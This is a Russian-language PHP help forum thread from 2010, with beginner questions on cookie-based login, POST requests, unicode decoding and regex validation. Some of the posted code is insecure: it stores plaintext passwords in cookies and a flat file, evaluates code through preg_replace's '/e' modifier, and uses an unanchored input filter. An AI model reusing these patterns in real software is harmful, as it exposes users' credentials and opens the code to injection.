Каким ето образом он палится? Читаем внимательно
Не против что в исходном коде страницы пароль будет палиться
Исходный код страницы и исходный код скрипта разные вещи. У тебя РНР и пароль видно в исходном коде скрипта, а у меня JS и если зайти на страничку и глянуть исходник пароль будет виден.

Solker
16.02.2010, 01:18
Каким ето образом он палится? Читаем внимательно

Исходный код страницы и исходный код скрипта разные вещи. У тебя РНР и пароль видно в исходном коде скрипта, а у меня JS и если зайти на страничку и глянуть исходник пароль будет виден.

$password = ("11111");
echo $password;

теперь палится :D

general.fox
16.02.2010, 12:34
Как отправить POST-запрос средствами PHP?

m0Hze
16.02.2010, 12:44
Как отправить POST-запрос средствами PHP?
Сокеты,Curl.
гугл_это_сила (http://2lx.ru/2009/02/otpravka-post-zaprosov-v-php/)

Compton
16.02.2010, 13:15
general.fox
CURLOPT_POST
CURLOPT_POSTFIELDS

N2kroot
16.02.2010, 13:33
Помогите:
Есть говнокод,так что его назвать,в общем скрипт авторизации,но при всех проверках он всёравно ставит куки! Как сделать правильно,чтобы если юзера нету,то куков тоже нету!
If(!IsSet($_COOKIE['warcookies'])){
setcookie("warcookies", "Guest|guest|1");}
$war=$_COOKIE['warcookies']; $war=gt($war); $war=explode("|", $war);
$nick = bdtext($_POST['login']);
$pass = bdtext($_POST['password']);
$basemember="users/suser.dat";
$general = @file($basemember);
$lines = count($general);
for ( $i = 0; $i < $lines; $i++ ){
list($name_g,$pass_g,$email,$acc,$clan_r,$w2,$w3,$ w5)=explode('|', $general[$i]);
if($nick==$name_g and $pass==$pass_g and $_POST['login']!=''){ $dont_registr = 'no'; }
if($i==$lines){ $dont_registr = 'yes2'; }}
if($dont_registr = 'no') {
$warcookies="$nameg|$pass|$w2|";
setcookie("warcookies", $warcookies, time()+1728000);}

Insane bboy
16.02.2010, 14:59
Есть список ссылок на сайте, и есть задача проверить стоит ли у сайтов на которые эти ссылки мой банер и если стоит то подсчитать количество переходов по этим банерам.
Какой алгоритм? Кто как делает? а то вообще какие то гавновариатны лезут в голову:(

DiHWO
16.02.2010, 15:14
N2kroot,
Ты видно не сам писал.
Какой смысл этого выражения:

If(!IsSet($_COOKIE['warcookies']))
{
setcookie("warcookies", "Guest|guest|1");
}

А смысл таков, если куков у чела нет, то ставим ему куки с полем "гость". Потом ниже в скрипте у тебя идет проверка переданных данных из формы:

$nick = bdtext($_POST['login']);
$pass = bdtext($_POST['password']);
$basemember="users/suser.dat";
$general = @file($basemember);
$lines = count($general);
for ( $i = 0; $i < $lines; $i++ ){
list($name_g,$pass_g,$email,$acc,$clan_r,$w2,$w3,$ w5)=explode('|', $general[$i]);
if($nick==$name_g and $pass==$pass_g and $_POST['login']!=''){ $dont_registr = 'no'; }
if($i==$lines){ $dont_registr = 'yes2'; }}

И если такой чел есть в базе данных, то ставим ему другие куки, с его именем и паролем:

$warcookies="$nameg|$pass|$w2|";
setcookie("warcookies", $warcookies, time()+1728000);}

Тоесть куки ставяться в любом случае, и да, это говнокод.

N2kroot
16.02.2010, 15:29
Эмм..Вообще-то писал я,но дело в том --- что нету куков новых,постоянно держится поганый гость! Может вообще его убрать? Но тогда на главной странице надо менять приветствие,типа:If(!IsSet($_COOKIE['warcookies']){ echo "Приветствую, Гость";}else { echo "Приветствую $war[0]";}
//war[0] взялось от разделения куков

DiHWO
16.02.2010, 15:36
N2kroot, буэ, дак так бы и сказал, и вообще, юзай нормальные БД, а не файлики...

$warcookies="$nameg|$pass|$w2|";

Ты в скрипте не объявлял эту переменную...
у тебя есть только "$name_g", а "$name_g" и "$nameg" это абсолютно разные переменные.
---------------------
и вообще, стукни в асю: 367-412-586, а то на форуме не удобно, и я не доконца понимаю твой код, точнее твои переменные.

N2kroot
16.02.2010, 15:39
Ухахаха,да дело даже не в этом!
Вот я ступил,спасибо за внимание,а ошибка была вот:
После того,как сверилось по БД,сразу кидает exit(); а куки должны ставиться после,но чего,естественно,не произошло!

DiHWO
16.02.2010, 15:41
N2kroot, не вижу в твоем коде exit()... ну лан, работает и хорошо, но, всеравно не стоит писать на файлах :-)

Compton
16.02.2010, 20:40
Insane bboy
заходишь курлом по этим ссылкам,парсишь регуляркой сайт,ищешь ссылку на свой банер

restart_05
16.02.2010, 21:06
Как можно узнать IP именного сервера(ya.ru, google.ru, antichat.ru) посредством php

Solker
16.02.2010, 21:15
restart_05
http://www.php.net/gethostbyname

restart_05
16.02.2010, 21:27
СПС

scorpic393
17.02.2010, 01:08
Подксажите плиз. В бд есть id новостей, добовлялсиь они по avto incriment, мне надо id обновить т.к. сделать полседовательными (1,2,3,4,5) а то после удаления новостей в бд пропуски меня бесят т.е. (1,4,6,14,etc) мне надо упорядочит

m0Hze
17.02.2010, 01:30
Подксажите плиз. В бд есть id новостей, добовлялсиь они по avto incriment, мне надо id обновить т.к. сделать полседовательными (1,2,3,4,5) а то после удаления новостей в бд пропуски меня бесят т.е. (1,4,6,14,etc) мне надо упорядочит
А зачем? В этом плюс авто_инкремента, можеш узнать что было удалено.Да и зачем так извращаться,поставь тогда ручной ввод id

Insane bboy
17.02.2010, 15:16
Compton спасибо)
Вот сижу кодю соединение с бд и у меня возникла одна маленькая проблемка:
я получаю данные из бд в таком виде:
$db = new DB();
list($id, $title, $context, $url, $category, $rating, $contact) = $db->getArticles($_GET['cat']);
где переменые где переменые $id, $title и тд - массивы
на страницу необходимо вывести эти данные в порядке возрастания рейтинга($rating), сообственно вопрос как отсортировать все относительно рейтинга, мне кажется что должны быть какие нибудь стандартные функций в пхп. вот только не знаю какие:( на страницу данные вывожу примерно так:
for($a = 0; $a < count($url); $a ++) {
$title[$a].'<br>';
$context[$a].'<br>';
$rating[$a].'<br>';
}

b3
17.02.2010, 17:13
есть функция sort() для массивов

Ponchik
17.02.2010, 20:35
чем расшифровывается такая неняшная штука \u0421\u043a\u0430\u0447\u0430\u0442\u044c

m0Hze
17.02.2010, 20:38
чем расшифровывается такая неняшная штука \u0421\u043a\u0430\u0447\u0430\u0442\u044c
jQuery это автоматОм делает :(
Ну я так jSon парсил,она автоматом декодила,попробуй json_decode, только в массив загони сначала.

m0Hze
17.02.2010, 20:52
jQuery это автоматОм делает :(
Ну я так jSon парсил,она автоматом декодила,попробуй json_decode, только в массив загони сначала.
http://2cyr.com/decode/?lang=ru

m0Hze
17.02.2010, 21:04
По сути,вот так должно расшифровываться:

$code = '\u041d\u0430 \u043c\u043e\u043b\u043e\u0434\u043e\u0433\u043e';
echo preg_replace("#\\\u([0-9a-z]+)#ie", "chr(hexdec('\\1'))", $code);

Ну или в urlencode, А затем декодить.Но результат - не то что надо =(

Ponchik
17.02.2010, 21:09
онлайн сервисы не вариант, мне в скрипте зашифровать в такое надо
но сначало расшифровать
А как работат http://md.php.net/json_decode вобще неопнял, покажи пример на моей строке =\

Pashkela
17.02.2010, 21:19
<?php
function jdecoder($json_str) {
$cyr_chars = array (
'\u0430' => 'а', '\u0410' => 'А',
'\u0431' => 'б', '\u0411' => 'Б',
'\u0432' => 'в', '\u0412' => 'В',
'\u0433' => 'г', '\u0413' => 'Г',
'\u0434' => 'д', '\u0414' => 'Д',
'\u0435' => 'е', '\u0415' => 'Е',
'\u0451' => 'ё', '\u0401' => 'Ё',
'\u0436' => 'ж', '\u0416' => 'Ж',
'\u0437' => 'з', '\u0417' => 'З',
'\u0438' => 'и', '\u0418' => 'И',
'\u0439' => 'й', '\u0419' => 'Й',
'\u043a' => 'к', '\u041a' => 'К',
'\u043b' => 'л', '\u041b' => 'Л',
'\u043c' => 'м', '\u041c' => 'М',
'\u043d' => 'н', '\u041d' => 'Н',
'\u043e' => 'о', '\u041e' => 'О',
'\u043f' => 'п', '\u041f' => 'П',
'\u0440' => 'р', '\u0420' => 'Р',
'\u0441' => 'с', '\u0421' => 'С',
'\u0442' => 'т', '\u0422' => 'Т',
'\u0443' => 'у', '\u0423' => 'У',
'\u0444' => 'ф', '\u0424' => 'Ф',
'\u0445' => 'х', '\u0425' => 'Х',
'\u0446' => 'ц', '\u0426' => 'Ц',
'\u0447' => 'ч', '\u0427' => 'Ч',
'\u0448' => 'ш', '\u0428' => 'Ш',
'\u0449' => 'щ', '\u0429' => 'Щ',
'\u044a' => 'ъ', '\u042a' => 'Ъ',
'\u044b' => 'ы', '\u042b' => 'Ы',
'\u044c' => 'ь', '\u042c' => 'Ь',
'\u044d' => 'э', '\u042d' => 'Э',
'\u044e' => 'ю', '\u042e' => 'Ю',
'\u044f' => 'я', '\u042f' => 'Я',

'\r' => '',
'\n' => '<br />',
'\t' => ''
);

foreach ($cyr_chars as $key => $value) {
$json_str = str_replace($key, $value, $json_str);
}
return $json_str;
}

echo jdecoder("\u0421\u043a\u0430\u0447\u0430\u0442\u044c");
?>


Воть

Енкодер (две переменных всего переставить:)


<?php
function jencoder($json_str) {
$cyr_chars = array (
'\u0430' => 'а', '\u0410' => 'А',
'\u0431' => 'б', '\u0411' => 'Б',
'\u0432' => 'в', '\u0412' => 'В',
'\u0433' => 'г', '\u0413' => 'Г',
'\u0434' => 'д', '\u0414' => 'Д',
'\u0435' => 'е', '\u0415' => 'Е',
'\u0451' => 'ё', '\u0401' => 'Ё',
'\u0436' => 'ж', '\u0416' => 'Ж',
'\u0437' => 'з', '\u0417' => 'З',
'\u0438' => 'и', '\u0418' => 'И',
'\u0439' => 'й', '\u0419' => 'Й',
'\u043a' => 'к', '\u041a' => 'К',
'\u043b' => 'л', '\u041b' => 'Л',
'\u043c' => 'м', '\u041c' => 'М',
'\u043d' => 'н', '\u041d' => 'Н',
'\u043e' => 'о', '\u041e' => 'О',
'\u043f' => 'п', '\u041f' => 'П',
'\u0440' => 'р', '\u0420' => 'Р',
'\u0441' => 'с', '\u0421' => 'С',
'\u0442' => 'т', '\u0422' => 'Т',
'\u0443' => 'у', '\u0423' => 'У',
'\u0444' => 'ф', '\u0424' => 'Ф',
'\u0445' => 'х', '\u0425' => 'Х',
'\u0446' => 'ц', '\u0426' => 'Ц',
'\u0447' => 'ч', '\u0427' => 'Ч',
'\u0448' => 'ш', '\u0428' => 'Ш',
'\u0449' => 'щ', '\u0429' => 'Щ',
'\u044a' => 'ъ', '\u042a' => 'Ъ',
'\u044b' => 'ы', '\u042b' => 'Ы',
'\u044c' => 'ь', '\u042c' => 'Ь',
'\u044d' => 'э', '\u042d' => 'Э',
'\u044e' => 'ю', '\u042e' => 'Ю',
'\u044f' => 'я', '\u042f' => 'Я',

'\r' => '',
'\n' => '<br />',
'\t' => ''
);

foreach ($cyr_chars as $key => $value) {
$json_str = str_replace($value, $key, $json_str);
}
return $json_str;
}

echo jencoder("Скачать");
?>


(це) Пашкело

PS: Массивы значений конечно не мои

Buffalon
18.02.2010, 04:01
Проблема в парсинге большого объёма ... То есть есть такое
<pre>
Около 4000 строк текста
</pre>

preg_match_all("|<pre>(.*?)<\/pre>|is",$mass,$link_2);

Регулярка работает при объёме около 1000 символов , что делать , может как нибудь перевести переменные в режим longstring????
ПОМОГИТЕ , ГАРЮ

m0Hze
18.02.2010, 09:28
Проблема в парсинге большого объёма ... То есть есть такое
<pre>
Около 4000 строк текста
</pre>

preg_match_all("|<pre>(.*?)<\/pre>|is",$mass,$link_2);

Регулярка работает при объёме около 1000 символов , что делать , может как нибудь перевести переменные в режим longstring????
ПОМОГИТЕ , ГАРЮ
Разбить переменные на 1000 байт :)

Buffalon
18.02.2010, 11:21
Разбить переменные на 1000 байт :)

Всё, разобрался .
Функция php_preg_match не может обработать текст длинной 10.000 байт , что то типа этого
Для величения объёма потребуется заглянуть в php.ini -> а именно
ini_set("pcre.backtrack_limit",10000000);

restart_05
18.02.2010, 15:11
Как можно реализовать следующее http://forum.antichat.ru/myip.php

m0Hze
18.02.2010, 15:20
Как можно реализовать следующее http://forum.antichat.ru/myip.php
Алгоритмизируем:
Человек логиниться на сайте -> IP записывается в БД -> при следующем заходе(буть то авторизация,или заход по кукам) IP сверяется с тем что в БД,и если они разные,то исесно делаеться новая запись -> ведем статистику.
Ну это упрощенный вариант.А можно при каждом действии сверять Ип,что бы не трололо1

AtomoS
18.02.2010, 15:33
нужно отфильтровать поле ввода ($_POST['new_color']) с помощью preg_match.
данные должны быть в 16ричной кодировке, тоесть 0123456789ABCDEF
и допустимое количество символов в поле - 6.

как сделать?(

#Wolf#
18.02.2010, 15:40
нужно отфильтровать поле ввода ($_POST['new_color']) с помощью preg_match.
данные должны быть в 16ричной кодировке, тоесть 0123456789ABCDEF
и допустимое количество символов в поле - 6.

как сделать?(

preg_match('#[0-9a-f]{6}#i',$_POST['new_color'],$matches);
print_r($matches);

krypt3r
18.02.2010, 15:52
Символы начала и конца строки еще надо